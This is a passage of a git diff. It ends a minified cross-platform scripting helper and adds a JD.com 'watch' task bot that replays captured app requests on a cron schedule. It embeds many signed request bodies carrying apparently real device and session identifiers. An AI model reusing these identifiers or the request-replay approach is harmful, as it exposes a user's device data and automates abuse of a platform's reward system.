r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/activity/jd_watch.js b/activity/jd_watch.js new file mode 100644 index 0000000..94083c9 --- /dev/null +++ b/activity/jd_watch.js @@ -0,0 +1,416 @@ +/* +发现-看一看 +活动结束时间未知 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +脚本已内置需要抓的各40个包,但还建议自行抓包使用。 +使用 Charles 抓包,使用正则表达式:functionId=disc(AcceptTask|DoTask) 过滤请求 +选中所有请求,将所有请求保存为 JSON Session File 名称为 watch.chlsj,将该文件与jd_watch.js放在相同目录中 +使用手机抓包,将functionId=discAcceptTask的请求填入acceptBody,将discDoTask的body填入doBody +云端使用:将所抓的两种包使用@符号隔开后,分别填入到WATCH_ACCEPTBODY、WATCH_DOBODY环境变量 +============Quantumultx=============== +[task_local] +#京东看一看 +10 9 * * * jd_watch.js, tag=京东看一看, enabled=true + +================Loon============== +[Script] +cron "10 9 * * *" script-path=jd_watch.js,tag=京东看一看 + +===============Surge================= +京东看一看 = type=cron,cronexp="10 9 * * *",wake-system=1,timeout=3600,script-path=jd_watch.js + +============小火箭========= +京东看一看 = type=cron,script-path=jd_watch.js, cronexpr="10 9 * * *", timeout=3600, enable=true + */ +const $ = new Env('京东看一看'); +let acceptBody = [ + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240304968%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=6e2542bc745427327751374bafb0ae9f&st=1608135453301&sv=100&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232107521%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=f1e01b42473e124f529b34d3735dd8cd&st=1608135468216&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239958722%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=30a2d1a585cd96bf57e95aef4165243f&st=1608135483804&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22236677182%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=367aa97b9a7b3f2c655fd5fe06fcd6e8&st=1608135497273&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22238431608%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=528497aa9b9b3d932a889878b1bde4bd&st=1608135517143&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241148628%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=7fa66f4476ee64d6085e472882b6a2ae&st=1608135530948&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239304423%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=c96cdb81d78ce1863e4f8f04de9ab02d&st=1608135545789&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239883460%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=94024b2f8b9601b287eb892b77a8d664&st=1608135560829&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240083804%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=fdf5ae7ba7b94629ba7c2b80e2fbdb9f&st=1608135574998&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240424814%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=39272f2f00f8bef1907dfe4cd6d6bd2b&st=1608135588583&sv=120&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241354811%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=2bf2bf47ea7372328e7d5e86db706a7c&st=1608135602797&sv=101&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239763353%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=fe03d9b6a1d711b9c16956a2a2eccc4c&st=1608135616512&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239887467%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=4dd106e346bc57c4d5f8f5d2094b8ca4&st=1608135633772&sv=121&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239911566%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=78041fe3337060c1c6dc93f87828b0f2&st=1608135656081&sv=101&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239209307%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=1c56c633ea8664a1254a615cb9e08608&st=1608135674705&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + 